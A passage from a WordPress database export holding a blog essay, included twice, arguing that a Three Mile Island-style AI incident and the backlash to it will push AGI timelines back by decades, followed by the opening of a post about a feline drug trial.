AI to attack the US, like a terrorist group releasing an autonomous drone onto US soil.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Either way, AI could become a military matter. If AI is considered a military technology, it could become as difficult for a civilian to develop advances in AI as it is for a civilian to develop advances in artillery. Once AI becomes solely the province of the military and its contractors, AI could become as expensive and slow to develop as fighter jets. To give you an idea of what that entails, by the way,&nbsp;<a href=\"https://www.nytimes.com/2019/08/21/magazine/f35-joint-strike-fighter-program.html\">the F-35 fighter jet has been under development for 60 years and has cost over $1 trillion</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are many possible inflection points for the development of AI. I don’t know if any of the specific scenarios I’ve outlined will happen. What I do know, however, is that at some point in the course of the development of AGI, a Three Mile Island type incident will happen. It will be scary and get a lot of press coverage, and a lot of talking heads who have never thought about AI before will suddenly start to have very strong opinions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At that point, the AI alignment community will have a choice. For those in the AI alignment community who are terrified of AGI, it won’t be that hard to just add more fear to the fire. You will be able to join hands with whatever coalition of groups decides that AGI is the new thing they have to stop, and you will be able to put so much regulation on AI that AGI will be delayed for the indefinite future. After all, if there’s one thing the modern world is good at, it’s red tape.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, for those in the AI alignment community who think AGI is promising but dangerous (like myself), this will be a tricky incident to navigate. Ideally, the outcome of the incident will be that proper guide rails get put on AI development as it proceeds apace. However, that is not guaranteed. As Westinghouse and the entire nuclear industry found out, things can get rapidly out of hand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-anchor-1\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This summary of&nbsp;<em>The China Syndrome</em>&nbsp;and of the Three Mile Island incident is based off of Wikipedia, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-anchor-2\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not including self-driving cars and other parts of AI that directly interface with the real world. Those have had serious regulation. On the other hand, nobody thinks that’s where AGI is going to come from, probably in part due to all the regulation. This is part of the point of this essay.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-anchor-3\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not linking to the porn generators here, but they are very Googleable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-anchor-4\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I took a lot of my understanding of how the military thinks about AI from&nbsp;<a href=\"https://warontherocks.com/2022/06/whats-wrong-with-wanting-a-human-in-the-loop/\">this essay about military AI</a>. I’m linking it here because I think it’s interesting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-anchor-5\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this seems abstract to you, imagine that it’s been decided that white pickup trucks with a lot of nitrogen fertilizer in a certain area of the Middle East are almost certainly car bombs, as nobody in this area would be transporting that much nitrogen fertilizer for agriculture. The grunt left Ohio for the first time 3 months ago, and he thinks that it’s totally natural to truck around that much nitrogen fertilizer. The AI might correctly identify this truck as a target, and he might not.</p>\n<!-- /wp:paragraph -->','Artificial General Intelligence (AGI) timelines ignore the social factor at their peril','','publish','closed','closed','','artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril','','','2022-10-19 15:36:14','2022-10-19 15:36:14','',0,'https://trevorklee.com/?page_id=311',0,'page','',0),
(312,1,'2022-10-19 15:36:14','2022-10-19 15:36:14','<!-- wp:paragraph -->\n<p><em>I’ve written this essay for the AI Worldview Prize, a competition held by FTX Future Fund in which they ask for essays that might change their view on Artificial General Intelligence (AGI) and its risks, which they take very seriously. As I’ve stated before, I still think the prize money is way too big for this. But, as long as it is this big, I will submit an essay, as I could use the money for my pharmaceutical endeavors, or, at the lower end, to pay my rent.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>There are a couple different ways to win money in this essay contest. The ones that pertain to this essay are as follows:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>1. $1.5 m for changing their probability of “AGI will be developed by January 1, 2043” from 20% to below 3%</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. $200k for publishing the canonical critique on whether AGI will be developed by January 1, 2043, whether or not it changes their probability estimates significantly</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>3.&nbsp; $50k to the three published analyses that most inform the Future Fund’s overall perspective on these issues, and $15k for the next 3-10 most promising contributions to the prize competition</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I don’t expect to win any of these prizes, mainly because the Future Fund’s way of thinking about these issues is alien to me. I don’t really understand how you can assign an exact numeric probability to the probability of AGI being developed by 2043, given how many assumptions go into whatever model you’re using to estimate this. And, given the uncertainties involved, I really don’t understand what information would change your probability estimates from 20% to 2%.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I mean, I used to study geosciences, and there were scores of papers arguing about how one would estimate the probability of, say, 1.5 degrees Celsius warming by the year 2050. To be clear, these weren’t even arguments about the probability of 1.5 degrees of warming by 2050, although there were plenty of those. These were arguments about how you would even make that sort of argument. So, these papers would address issues like:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li><em>What kind of assumptions should you have to state in advance?</em></li><li><em>What are the probabilities of those assumptions, and how should those probabilities affect the ultimate probability of warming?</em></li><li><em>What sort of models are allowed? How should improvements in the models or in the computers used to run the models be incorporated into the estimates?</em></li><li><em>How should these models incorporate important assumptions if the assumptions don’t have a lot of data backing them up?</em></li><li><em>How should models update with updated information?</em></li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>As you can probably tell, these are really important issues to address if you want to be able to converge on common estimates of probability for future events! If these issues aren’t addressed, probability estimates won’t even be speaking the same language. And, if you ever read the International Panel on Climate Change (IPCC) report, all of these issues are covered in depth before they state their probabilities of various future events.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>If the IPCC didn’t do this, and they stated their probabilities of climate change related events like the FTX Future Fund does with AGI, with zero explanation of what models they were using to estimate these probabilities, the assumptions behind those models, or the certainty of those assumptions, I’m pretty sure geoscientists would riot. Or, at the very least, they’d complain a lot and try to get people fired. If FTX Future Fund wants to turn AGI forecasting into a serious field, I would definitely advise them to take a page from the IPCC in this respect at least.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>All of that being said, for the sake of this contest, I’m saying that the FTX Future Fund’s estimate of the probability of AGI should be reduced to 2%. The short version is that before AGI, there is going to be intermediate level AIs. These intermediate level AIs will have some highly publicized mishap (or, possibly, be involved in some scary military action). The public backlash and subsequent regulatory push will push back the timeline of AGI for a few decades at least.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>For the long version, read on.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On March 16, 1979, the movie&nbsp;<em>The China Syndrome</em>&nbsp;was released, starring Jane Fonda. In the movie, Jane Fonda plays an intrepid television reporter who discovers that a nuclear power plant came perilously close to melting down through its containment structure “all the way to China” (hence the title of the movie). The power plant officials cover up this near disaster, threatening Jane Fonda and her crew. The end of the movie is left deliberately ambiguous as to whether or not the coverup succeeded&nbsp;<a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-1\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2 days after the movie was released, an executive at Westinghouse, one of the major providers of nuclear power equipment and services, was quoted in the&nbsp;<em>New York Times</em>&nbsp;as saying the movie was a “character assassination of an entire industry”, upset that that the power plant officials were portrayed as “morally corrupt and insensitive to their responsibilities to society”. This proved to be unfortunate timing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>12 days after the movie was released, the Three Mile Island reactor in Pennsylvania experienced a partial meltdown. This was caused by mishandling of a “loss of coolant accident”, which in turn was caused by inadequate training and misleading signaling from safety detectors. Over the course of the partial meltdown, sketchy and misleading communication from the power plant officials caused state regulators to lose faith in them, calling in the Nuclear Regulatory Commission (NRC). Unfortunately, the NRC lacked authority to tell the power plant officials what to do, and so everyone bumbled along until eventually the situation was resolved. Later on, it was found out that the plant operator had been falsifying safety test results for years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8faae510-b7a9-4ba2-bd55-cec188f7d426_820x461.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8faae510-b7a9-4ba2-bd55-cec188f7d426_820x461.jpeg\" alt=\"7 Things The Simpsons Got Wrong About Nuclear | Department of Energy\" title=\"7 Things The Simpsons Got Wrong About Nuclear | Department of Energy\"/></a><figcaption>Fun fact: there is a persistent rumor that the operator of the Three Mile Island plant couldn’t see a certain warning signal because of his large belly. I assume Matt Groening was thinking of this when he decided to make Homer Simpson a nuclear power plant operator.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Nobody died as a result of the Three Mile Island partial meltdown. There was also no clear rise of radiation-related sickness or cancer around Three Mile Island in the years following the partial meltdown. While residents did have to temporarily evacuate, 98% of people returned within 3 weeks. Deer testing did see increased levels of cesium-137, but not to a dangerous amount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the partial meltdown and subsequent scandal still proved to be a boon for anti-nuclear advocates. In May of 1979, 65,000 people attended an anti-nuclear rally in Washington DC, accompanied by then California governor Jerry Brown. In September of 1979, 200,000 people protested nuclear power in New York City, with a speech by none other than Jane Fonda. Speaking of Jane Fonda,&nbsp;<em>The China Syndrome</em>&nbsp;was a sleeper hit at the box office, earning $51.7 million on a budget of $5.9 million, and getting nominated for 4 Academy Awards, including Best Original Screenplay.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More importantly for our purposes, this incident proved to be a decisive turning point in nuclear power plants. Nuclear power plant construction reached a global peak in 1979. No new reactors were authorized to begin construction in the US between 1979 and 2012, even though<a href=\"https://www.eia.gov/energyexplained/electricity/use-of-electricity.php\">&nbsp;electricity retail sales just about doubled during that time</a>. Chernobyl was certainly the nail in the coffin for nuclear development, but the real decline started after the Three Mile Island incident.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe36b6de8-10f1-4844-b4f4-746e0ccf648a_1190x1364.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe36b6de8-10f1-4844-b4f4-746e0ccf648a_1190x1364.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That means that the commercial case for all the new types of nuclear reactors was also made much more difficult. Any investor who might be tempted to invest in, say, a new type of molten salt reactor, or any intrepid operator who might have had a bright idea for how to improve one, must have been dissuaded by the fact that their idea would never see the light of day. In other words, there must have been a nuclear winter (although of a different sort than the one usually discussed).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When that Westinghouse executive was quoted in that<em>&nbsp;New York Times</em>&nbsp;article, he had no idea that he was speaking at the absolute peak of his industry. How could he have? Sure, he must have been aware of the anti-nuclear sentiment among the left, but that sentiment hadn’t stopped the growth of the nuclear industry thus far. He probably figured that the results that the nuclear industry was getting spoke for themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, as we know now, that was a crucial turning point. Westinghouse and the rest of the nuclear industry surely saw themselves careening towards a Jetsons future, where everything was powered by nuclear energy. They thought the only barriers were technological, and treated the social barriers high-handedly. After all, they knew better. Instead, they were careening towards our current, carbon-heavy future, where very few things are powered by nuclear energy and a lot of things are powered by dead organisms that produce global warming as a byproduct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I fear that the dominant intellectual discourse around the rise of Artificial General Intelligence (AGI) is making the same mistakes as that Westinghouse executive in treating an exciting, dangerous new technology as a purely technological phenomenon while ignoring social aspects of that phenomenon. In the introduction to the prize that this essay is written for, Nick Becklestead at FFX claims there’s a 20% probability of AGI arising by January 1, 2043 and a 60% probability of AGI arising by January 1, 2100. In fact, part of the prize conditions are convincing him to significantly change his estimates. However, when he explains his reasoning for these estimates, he only cites technical considerations: hardware progress, algorithmic process, deep learning progress, etc. However, if the history of nuclear power in the US teaches us anything, social barriers can easily push back any timeline by 20 years or more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This factor has been overlooked because, up until now, AI has largely enjoyed a privileged position of being self-regulated. The only people who determine what various forms of AI can and can’t do have been, mostly, the people that work on them. The only exceptions to this in the majority of AI development&nbsp;<a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-2\">2</a>&nbsp;have been social considerations, like how Google included “AI ethicists” in their release of their text-to-image AI, Imagen, to help avoid the creation of pornography and anything that smacks of “social stereotypes”. These are not existential threats to the development of AGI, though. They’re actually incredibly easy to get around, as evidenced by the rapid creation of text-to-image pornography generators<a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-3\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if the general public (specifically, the protesting class) ever take AI risks as seriously as the rationalist/EA community, this will quickly change. There will be much more serious and existential barriers to the development of AI. There will be mass protests in the streets, government regulators swinging in from the trees, and padlocks placed on server rooms. Every proposed algorithmic change by OpenAI will have to go through three rounds of FCC review, each costing $500k and determined by 12 bureaucrats who all struggle with their email. AI progress will grind to a halt just as nuclear did.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Many people would stop me here and say, “But, if this happens in the West, it would just let China surge ahead with developing their own AI!” This is a mistake. If AI risks are taken seriously by Western bureaucrats, it’s probable that they would also eventually be taken seriously by Chinese bureaucrats. This can happen in two ways. First of all, if Western bureaucrats take AI risks seriously, some segment of the Chinese population will as well. They will protest in some form or another against AI.&nbsp; Protests in China have been occasionally effective in halting undesirable projects, like&nbsp;<a href=\"https://www.academia.edu/40839723/Anti_nuclear_protests_in_China\">these protests against nuclear plants</a>. This is the less likely way for AI development to be halted in China.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More likely is that Chinese bureaucrats would hear Western bureaucrats worrying about how AGI could become independent or a competing power source to the government, and take actions to stop that from happening to their own government. Historically, the Chinese government has reacted dramatically to any trend that threatens “social stability” or its control over the Chinese populace. It is very willing to sacrifice economic growth to do so. Witness&nbsp;<a href=\"https://www.bloomberg.com/news/articles/2022-06-23/china-tech-crackdown-eases-but-startups-worry-xi-may-up-regulatory-pressure\">its crackdown on Chinese tech giants</a>,&nbsp;<a href=\"https://www.bbc.com/news/world-asia-china-62830326\">its harsh COVID lockdowns</a>, or its persecution of literally any group that becomes popular (e.g. Falun Gong). If Western bureaucrats think that AI could be disruptive to the government’s functioning, Chinese bureaucrats will take that very seriously and react accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In short, if the Western chattering classes think that AI development poses a huge safety risk, they will convince politicians to place it under so many regulatory burdens that it will effectively be halted. If autocratic countries think that AI development could pose a risk to social stability or their own control, they will smother it. The AGI timeline could be extended by decades.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The real question would be how that would happen. That is, how does AI risk go from being a concern for Internet nerds to being a concern for the rest of humanity? When do we start to see Instagram posts about AI risk along with a donate link? When does Alexandria Ocasio Cortez mention AI risk in a viral tweet?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two main ways I see this happening. The first is if an intermediate level AI makes a heavily publicized mistake. The second is through the military.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the first isn’t hard to imagine. Somewhere in between where we are now and AGI, there are going to be intermediate level AIs, specialized AIs that are good at specific tasks that used to be done by humans. We’re already seeing some of that now with text models and text-to-image models. These intermediate level AIs will improve and expand in usage as they start to develop “strategic” thinking and are able to recommend or make management-type decisions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Intermediate AIs will make big splashes as they’re introduced and take over parts of the economy that used to be human-only. If one of them goes rogue or is used for an unsavory purpose, there could be a huge crackdown on AI. Here are a few possible scenarios:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>1. Someone creates a bundled AI that buys domains, fills them up with propaganda, then creates fake social media profiles to promote them. A future right wing populist is caught using one, possibly even winning an election through this tactic.&nbsp;</p><p>The social media platforms, domain registrars, and search engines band together to ban all such AIs. Congress demands that any providers of large enough datasets to create such an AI has to verify customers’ identities and how they’re using these datasets, with heavy criminal penalties for misuse. If someone is caught using or creating an AI that creates spam, they will get fined heavily. Anyone who has provided them with datasets that assist in this will also get fined heavily.&nbsp;</p><p>These “know your customer” regulations are so onerous that only academic labs and big corporations are able to overcome them, and these big academic/industrial teams are too heavily internally regulated to produce anything resembling AGI in the near future.</p><p>2. Someone creates an AI that’s a total security system for schools: cameras to detect threats, automated gates and fences to lockdown a school until the threat is eliminated. These become commonplace in schools.</p><p>During a school shooting, the AI refuses to release lockdown until the threat is neutralized. This clashes with students’ ability to evacuate. Parents demand that all AI security systems must have human-in-the-loop overrides at their most basic level, which is extended to all AI in general. It becomes impossible for AI to conceive of and execute plans independently.</p><p>3. Someone develops an AI populist: a VR avatar on video sites that packages and regurgitates conservative blog posts for views. At some point, it convinces a bunch of people that a California-area school is staffed entirely by pedophiles. They descend upon the school and riot, causing millions of dollars worth of damages and a few deaths.</p><p>It’s decided that AI speech is not constitutionally protected, and, in fact, creators of AI that generates speech can be held legally liable for damages caused by that speech. Not only do the creators of the AI populist get sued, but the creators of the speech model they use get sued, too. AI development slows immensely as everyone tries to figure out exactly what they’d be liable for.</p><p>4. A drug cartel uses AI to develop new forms of methamphetamine. This is an all-in-one solution: it models methamphetamine, sees where substitutions can be made, orders the substitutions, then tests them in an automated lab. This proves to be a really effective model, and the drug cartel floods the markets with various forms of cheap methamphetamine.</p><p>The Drug Enforcement Agency (DEA), in an effort to combat this, declares jurisdiction over all forms of AI. Anyone who sells or produces AI models has to make sure that their AI models are not being used to aid in the sale of illegal drugs. The DEA declares various forms of AI development as restricted, making the development of even routine deep learning take months of paperwork.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>None of these would be death knells for AI development. All of them would make AI development more difficult, more expensive, and subject to more regulation. If new AI models become subject to enough regulation, they will become as difficult and expensive to make as a new drug. If people get really freaked out about AI models (e.g. if somehow a bunch of kids die because of an AI), they will become as difficult and expensive to develop as a new nuclear plant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Those were examples of one category of ways I can see AI development getting caught up in social restrictions. Another way I can see is from the military.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The military has actually been worried about AI for a while. Basically, since the 70s, the military has technically had AI that’s capable of detecting threats and dealing with them autonomously through the “<a href=\"https://www.lockheedmartin.com/en-us/products/aegis-combat-system.html\">Aegis Combat System</a>”, which basically links together the radar, targeting, and missile launching of a battleship. So, the question since the 70s has been to what extent they should allow the AI to operate on its own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the 70s, the answer was simple: there needs to be a “human in the loop”. Otherwise, Aegis would literally just fire missiles at whatever came on its radar. As AI capabilities have grown, however, this question has become more complicated. There are now drones which can obey commands like “search and destroy within this targeted area”. Supposedly, the drones ask for confirmation that their targets are properly identified and ask for confirmation to fire, which means they have three levels of human in the loop: confirming the area, confirming the target, and confirming the command to fire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, given that the military loves blowing up stuff, there’s always a push to make humans less in the loop<a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-4\">4</a>. For area confirmation, well, take Aegis. Aegis is largely meant as defensive anyways. So, as the argument goes, there’s no need to ask a human to confirm the area in which Aegis could be active. The area to look for targets is whatever area from which something could attack the battleship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, for confirming the target, isn’t the whole point of AI that it’s smarter than humans? If the billion dollar AI says something is a target, and the $30k/year grunt at the other end says it’s not, why are we believing the grunt? This is especially true if it’s an AI that was trained with a bunch of soldiers already on how to identify targets. Then, we’re basically weighing the expertise of a bunch of soldiers vs. the expertise of one<a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-5\">5</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For confirming the command to fire, that’s all well and good if time isn’t of the essence. But, if it is, that might be time we don’t have. Maybe you’re trying to defend your battleship, and a plane is coming into range right now. In 15 seconds it’ll be able to drop a bomb on your ship. Should the AI wait to confirm? Or, maybe you’re trying to assassinate a major terrorist leader, and this is the one time he’s been out in public in the last 15 years. In 30 seconds, he’ll go back to his cave. Can’t the drone just fire the missile itself?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe these arguments seem convincing to you. Maybe they don’t. However, they are steadily convincing more and more military people. Already, autonomous drones have been&nbsp;<a href=\"https://www.npr.org/2021/06/01/1002196245/a-u-n-report-suggests-libya-saw-the-first-battlefield-killing-by-an-autonomous-d\">allegedly used by Turkey to hunt down separatists</a>. And, in the US, we’re speedrunning Armageddon as&nbsp;<a href=\"https://www.fedscoop.com/ai-should-have-human-on-the-loop-not-in-the-loop-when-it-comes-to-nuke-detection-general-says/\">our generals make the same arguments as above about our nuclear arsenal</a>, trying to change “human-in-the-loop” to “human-on-the-loop”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is very easy to imagine a high-profile military mishap involving the same level of intermediate AI mentioned previously. Hopefully, this mishap will not involve the nuclear arsenal. It’s also easy to imagine a determined adversary using intermediate AI to attack the US, like a terrorist group releasing an autonomous drone onto US soil.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Either way, AI could become a military matter. If AI is considered a military technology, it could become as difficult for a civilian to develop advances in AI as it is for a civilian to develop advances in artillery. Once AI becomes solely the province of the military and its contractors, AI could become as expensive and slow to develop as fighter jets. To give you an idea of what that entails, by the way,&nbsp;<a href=\"https://www.nytimes.com/2019/08/21/magazine/f35-joint-strike-fighter-program.html\">the F-35 fighter jet has been under development for 60 years and has cost over $1 trillion</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are many possible inflection points for the development of AI. I don’t know if any of the specific scenarios I’ve outlined will happen. What I do know, however, is that at some point in the course of the development of AGI, a Three Mile Island type incident will happen. It will be scary and get a lot of press coverage, and a lot of talking heads who have never thought about AI before will suddenly start to have very strong opinions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At that point, the AI alignment community will have a choice. For those in the AI alignment community who are terrified of AGI, it won’t be that hard to just add more fear to the fire. You will be able to join hands with whatever coalition of groups decides that AGI is the new thing they have to stop, and you will be able to put so much regulation on AI that AGI will be delayed for the indefinite future. After all, if there’s one thing the modern world is good at, it’s red tape.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, for those in the AI alignment community who think AGI is promising but dangerous (like myself), this will be a tricky incident to navigate. Ideally, the outcome of the incident will be that proper guide rails get put on AI development as it proceeds apace. However, that is not guaranteed. As Westinghouse and the entire nuclear industry found out, things can get rapidly out of hand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-anchor-1\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This summary of&nbsp;<em>The China Syndrome</em>&nbsp;and of the Three Mile Island incident is based off of Wikipedia, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-anchor-2\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not including self-driving cars and other parts of AI that directly interface with the real world. Those have had serious regulation. On the other hand, nobody thinks that’s where AGI is going to come from, probably in part due to all the regulation. This is part of the point of this essay.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-anchor-3\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not linking to the porn generators here, but they are very Googleable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-anchor-4\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I took a lot of my understanding of how the military thinks about AI from&nbsp;<a href=\"https://warontherocks.com/2022/06/whats-wrong-with-wanting-a-human-in-the-loop/\">this essay about military AI</a>. I’m linking it here because I think it’s interesting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-anchor-5\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this seems abstract to you, imagine that it’s been decided that white pickup trucks with a lot of nitrogen fertilizer in a certain area of the Middle East are almost certainly car bombs, as nobody in this area would be transporting that much nitrogen fertilizer for agriculture. The grunt left Ohio for the first time 3 months ago, and he thinks that it’s totally natural to truck around that much nitrogen fertilizer. The AI might correctly identify this truck as a target, and he might not.</p>\n<!-- /wp:paragraph -->','Artificial General Intelligence (AGI) timelines ignore the social factor at their peril','','inherit','closed','closed','','311-revision-v1','','','2022-10-19 15:36:14','2022-10-19 15:36:14','',311,'https://trevorklee.com/?p=312',0,'revision','',0),
(313,1,'2022-10-19 15:38:20','2022-10-19 15:38:20','<!-- wp:paragraph -->\n<p>Reality, as they say, has a surprising amount of detail, and drug trials are no exception. Even my company’s drug trial, which is about as simple as drug trials get, has a lot of moving parts behind the scenes. I thought I’d give you all a sense of what goes into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, first of all, some context, which you may already be familiar with if you’ve been following our journey. We’re currently about ¼ of the way done with a trial in cats to compare our combination of cyclosporine + our metabolic inhibitor versus cyclosporine alone. Our plan is to get evidence that our combination allows for less frequent dosing, more consistent blood levels, and fewer side effects/safety issues than normal cyclosporine. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eventually we want to get our drug to be the first approved therapeutic for feline stomatitis, a devastating autoimmune disease that affects about 1% of cats. Then we want to go onto human autoimmune disease. But, first, we’ve got to get this comparison of our combination vs. normal cyclosporine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a much clearer trial outcome than the average pivotal/phase 1 trial. If we were working with more experimental drugs or trickier indications, we’d have to worry about how to dose, how to measure the dose (including potentially developing new assays), what a successful outcome would look like, and how to tell if it failed. For example, new Alzheimer’s drugs have a host of problems to deal with in phase 1 trials in healthy volunteers:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. How much drug needs to end up in the brain?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. If we’re dosing orally, how much do we need to dose orally to go to the bloodstream to end up in the brain?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. How do we measure the concentration of the drug in the blood?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. How do we measure the concentration of the drug in the brain?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Given that these will be healthy volunteers, what sort of biomarkers will indicate that this would have an effect in diseased patients, if any?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. How much risk is acceptable for healthy volunteers to take when testing this new drug?</p>\n<!-- /wp:paragraph 